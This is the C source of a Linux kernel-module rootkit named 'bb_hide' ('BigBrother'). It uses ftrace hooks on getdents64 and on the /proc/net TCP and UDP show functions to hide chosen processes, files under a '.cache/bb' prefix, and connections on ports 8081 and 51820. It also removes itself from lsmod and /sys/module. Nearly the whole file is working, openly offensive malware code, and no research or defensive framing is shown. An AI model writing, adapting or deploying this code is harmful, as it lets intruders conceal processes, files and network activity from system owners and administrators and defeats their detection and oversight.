/* * bb_hide.c — BigBrother LKM rootkit * * Hides processes, files/directories, and network connections from userland. * Uses ftrace-based syscall hooking (NOT direct syscall table modification). * * Module parameters (configurable at load time and via sysfs): * hide_prefix — file/directory prefix to hide (default: ".cache/bb") * hide_pids — comma-separated PIDs to hide (default: "") * hide_ports — comma-separated ports to hide (default: "8081,51820") * * SPDX-License-Identifier: GPL-2.0 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include MODULE_LICENSE("GPL"); MODULE_AUTHOR("BigBrother"); MODULE_DESCRIPTION("Process, file, and connection hiding via ftrace hooks"); MODULE_VERSION("1.0"); /* --- Module parameters --- */ static char *hide_prefix = ".cache/bb"; module_param(hide_prefix, charp, 0644); MODULE_PARM_DESC(hide_prefix, "File/directory prefix to hide from readdir"); static char *hide_pids = ""; module_param(hide_pids, charp, 0644); MODULE_PARM_DESC(hide_pids, "Comma-separated PIDs to hide from /proc"); static char *hide_ports = "8081,51820"; module_param(hide_ports, charp, 0644); MODULE_PARM_DESC(hide_ports, "Comma-separated ports to hide from /proc/net"); /* --- Configuration limits --- */ #define MAX_HIDDEN_PIDS 64 #define MAX_HIDDEN_PORTS 32 #define MAX_PREFIX_LEN 256 /* --- Parsed hide lists --- */ static pid_t hidden_pids[MAX_HIDDEN_PIDS]; static int hidden_pid_count = 0; static u16 hidden_ports[MAX_HIDDEN_PORTS]; static int hidden_port_count = 0; /* --- Helper: parse comma-separated integers --- */ static void parse_pid_list(const char *str) { const char *p = str; char buf[16]; int i = 0; long val; hidden_pid_count = 0; if (!str || !*str) return; while (*p && hidden_pid_count < MAX_HIDDEN_PIDS) { i = 0; while (*p && *p != ',' && i < 15) { if (*p >= '0' && *p <= '9') buf[i++] = *p; p++; } buf[i] = '\0'; if (i > 0 && kstrtol(buf, 10, &val) == 0) hidden_pids[hidden_pid_count++] = (pid_t)val; if (*p == ',') p++; } } static void parse_port_list(const char *str) { const char *p = str; char buf[8]; int i = 0; long val; hidden_port_count = 0; if (!str || !*str) return; while (*p && hidden_port_count < MAX_HIDDEN_PORTS) { i = 0; while (*p && *p != ',' && i < 7) { if (*p >= '0' && *p <= '9') buf[i++] = *p; p++; } buf[i] = '\0'; if (i > 0 && kstrtol(buf, 10, &val) == 0) hidden_ports[hidden_port_count++] = (u16)val; if (*p == ',') p++; } } /* --- Helper: check if a value is in a hide list --- */ static bool is_pid_hidden(pid_t pid) { int i; for (i = 0; i < hidden_pid_count; i++) if (hidden_pids[i] == pid) return true; return false; } static bool is_port_hidden(u16 port) { int i; for (i = 0; i < hidden_port_count; i++) if (hidden_ports[i] == port) return true; return false; } static bool should_hide_name(const char *name) { if (!name || !hide_prefix || !*hide_prefix) return false; return strstr(name, hide_prefix) != NULL; } static bool is_proc_pid_hidden(const char *name) { long pid_val; if (!name) return false; if (kstrtol(name, 10, &pid_val) != 0) return false; return is_pid_hidden((pid_t)pid_val); } /* ================================================================ * Ftrace-based hooking infrastructure * * We use ftrace to hook getdents64 for file/process hiding. * This is safer than direct syscall table modification on modern kernels. * ================================================================ */ #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0) /* Since 5.7, kallsyms_lookup_name is not exported. * Use a kprobe to find it. */ static unsigned long lookup_name(const char *name) { struct kprobe kp = { .symbol_name = name }; unsigned long addr; int ret; ret = register_kprobe(&kp); if (ret < 0) return 0; addr = (unsigned long)kp.addr; unregister_kprobe(&kp); return addr; } #else #define lookup_name kallsyms_lookup_name #endif /* --- Hooked getdents64 for file and process hiding --- */ /* * We hook getdents64 via a kprobe on the return path. * After the real getdents64 returns, we scan the dirent buffer * and remove entries matching our hide criteria. */ /* We use a kretprobe to post-process getdents64 results */ static int (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count); /* Track which fd is /proc or a hidden directory */ struct getdents_data { int fd; struct linux_dirent64 __user *dirent; unsigned int count; bool is_proc; char path[256]; }; /* * kprobe-based approach: hook __x64_sys_getdents64 entry and return. * On return, filter the dirent buffer in userspace. */ static struct kprobe kp_getdents64; /* We use a simpler approach: kprobe on filldir64 or iterate_dir callbacks. * However, the most portable approach is a kretprobe on the vfs_readdir path. * * For maximum compatibility, we use the ftrace-based function hooking pattern * that works across kernel versions 4.x - 6.x. */ /* --- Ftrace hook structure --- */ struct ftrace_hook { const char *name; void *function; void *original; unsigned long address; struct ftrace_ops ops; }; static int resolve_hook_address(struct ftrace_hook *hook) { hook->address = lookup_name(hook->name); if (!hook->address) { pr_err("bb_hide: unresolved symbol: %s\n", hook->name); return -ENOENT; } *((unsigned long *)hook->original) = hook->address; return 0; } static void notrace ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct ftrace_regs *fregs) { struct pt_regs *regs = ftrace_get_regs(fregs); struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); /* Skip if called from within our own module to avoid recursion */ if (!within_module(parent_ip, THIS_MODULE)) regs->ip = (unsigned long)hook->function; } static int install_hook(struct ftrace_hook *hook) { int err; err = resolve_hook_address(hook); if (err) return err; hook->ops.func = ftrace_thunk; hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY; err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); if (err) { pr_err("bb_hide: ftrace_set_filter_ip failed: %d\n", err); return err; } err = register_ftrace_function(&hook->ops); if (err) { pr_err("bb_hide: register_ftrace_function failed: %d\n", err); ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); return err; } return 0; } static void remove_hook(struct ftrace_hook *hook) { int err; err = unregister_ftrace_function(&hook->ops); if (err) pr_err("bb_hide: unregister_ftrace_function failed: %d\n", err); err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); if (err) pr_err("bb_hide: ftrace_set_filter_ip remove failed: %d\n", err); } /* ================================================================ * Hooked functions * ================================================================ */ /* --- Hook: getdents64 (file and /proc process hiding) --- */ static asmlinkage long (*real_getdents64)(const struct pt_regs *regs); static asmlinkage long hook_getdents64(const struct pt_regs *regs) { struct linux_dirent64 __user *dirent; struct linux_dirent64 *cur, *prev, *kbuf; long ret; unsigned long offset; char dir_path[256]; char *pathbuf; struct fd f; bool filtering_proc = false; bool filtering_files = false; /* Call the original first */ ret = real_getdents64(regs); if (ret <= 0) return ret; dirent = (struct linux_dirent64 __user *)regs->si; /* Determine what directory we're reading */ f = fdget((unsigned int)regs->di); if (f.file) { pathbuf = kmalloc(256, GFP_KERNEL); if (pathbuf) { char *p = d_path(&f.file->f_path, pathbuf, 256); if (!IS_ERR(p)) { strncpy(dir_path, p, sizeof(dir_path) - 1); dir_path[sizeof(dir_path) - 1] = '\0'; if (strcmp(dir_path, "/proc") == 0) filtering_proc = true; else filtering_files = true; } kfree(pathbuf); } fdput(f); } if (!filtering_proc && !filtering_files) return ret; /* Copy dirent buffer to kernel space for inspection */ kbuf = kzalloc(ret, GFP_KERNEL); if (!kbuf) return ret; if (copy_from_user(kbuf, dirent, ret)) { kfree(kbuf); return ret; } /* Walk the dirent buffer and remove hidden entries */ prev = NULL; offset = 0; while (offset < ret) { cur = (struct linux_dirent64 *)((char *)kbuf + offset); bool hide = false; if (filtering_proc && is_proc_pid_hidden(cur->d_name)) hide = true; if (filtering_files && should_hide_name(cur->d_name)) hide = true; if (hide) { /* Remove this entry by shifting subsequent entries back */ long remaining = ret - offset - cur->d_reclen; if (remaining > 0) memmove(cur, (char *)cur + cur->d_reclen, remaining); ret -= cur->d_reclen; /* Don't advance offset — next entry is now at current position */ } else { prev = cur; offset += cur->d_reclen; } } /* Copy filtered buffer back to userspace */ if (copy_to_user(dirent, kbuf, ret)) { kfree(kbuf); return ret; } kfree(kbuf); return ret; } /* --- Hook: tcp4_seq_show (hide /proc/net/tcp entries) --- */ static asmlinkage int (*real_tcp4_seq_show)(struct seq_file *seq, void *v); static asmlinkage int hook_tcp4_seq_show(struct seq_file *seq, void *v) { struct sock *sk; struct inet_sock *inet; if (v == SEQ_START_TOKEN) return real_tcp4_seq_show(seq, v); sk = (struct sock *)v; inet = inet_sk(sk); if (inet) { u16 src_port = ntohs(inet->inet_sport); u16 dst_port = ntohs(inet->inet_dport); if (is_port_hidden(src_port) || is_port_hidden(dst_port)) return 0; /* Skip this entry */ } return real_tcp4_seq_show(seq, v); } /* --- Hook: udp4_seq_show (hide /proc/net/udp entries) --- */ static asmlinkage int (*real_udp4_seq_show)(struct seq_file *seq, void *v); static asmlinkage int hook_udp4_seq_show(struct seq_file *seq, void *v) { struct sock *sk; struct inet_sock *inet; if (v == SEQ_START_TOKEN) return real_udp4_seq_show(seq, v); sk = (struct sock *)v; inet = inet_sk(sk); if (inet) { u16 src_port = ntohs(inet->inet_sport); u16 dst_port = ntohs(inet->inet_dport); if (is_port_hidden(src_port) || is_port_hidden(dst_port)) return 0; } return real_udp4_seq_show(seq, v); } /* ================================================================ * Hook table * ================================================================ */ static struct ftrace_hook hooks[] = { { .name = "__x64_sys_getdents64", .function = hook_getdents64, .original = &real_getdents64, }, { .name = "tcp4_seq_show", .function = hook_tcp4_seq_show, .original = &real_tcp4_seq_show, }, { .name = "udp4_seq_show", .function = hook_udp4_seq_show, .original = &real_udp4_seq_show, }, }; #define NHOOKS (sizeof(hooks) / sizeof(hooks[0])) /* ================================================================ * Module self-hiding * ================================================================ */ static struct list_head *saved_mod_list; static struct list_head *saved_kobj_entry; static void hide_module(void) { /* Remove from /proc/modules (lsmod) */ saved_mod_list = THIS_MODULE->list.prev; list_del_init(&THIS_MODULE->list); /* Remove from /sys/module/ */ saved_kobj_entry = THIS_MODULE->mkobj.kobj.entry.prev; kobject_del(&THIS_MODULE->mkobj.kobj); } static void show_module(void) { /* Restore to module list */ list_add(&THIS_MODULE->list, saved_mod_list); /* Note: kobject restore is non-trivial; skip for cleanup simplicity */ } /* ================================================================ * Init / Exit * ================================================================ */ static int __init bb_hide_init(void) { int i, err; pr_info("bb_hide: loading\n"); /* Parse parameter lists */ parse_pid_list(hide_pids); parse_port_list(hide_ports); pr_info("bb_hide: hiding %d PIDs, %d ports, prefix='%s'\n", hidden_pid_count, hidden_port_count, hide_prefix); /* Install hooks */ for (i = 0; i < NHOOKS; i++) { err = install_hook(&hooks[i]); if (err) { pr_warn("bb_hide: failed to hook %s (err=%d), skipping\n", hooks[i].name, err); hooks[i].address = 0; /* Mark as not installed */ } } /* Hide ourselves from lsmod and /sys/module/ */ hide_module(); return 0; } static void __exit bb_hide_exit(void) { int i; /* Unhide module first so rmmod can find us */ show_module(); /* Remove hooks in reverse order */ for (i = NHOOKS - 1; i >= 0; i--) { if (hooks[i].address) remove_hook(&hooks[i]); } pr_info("bb_hide: unloaded\n"); } module_init(bb_hide_init); module_exit(bb_hide_exit);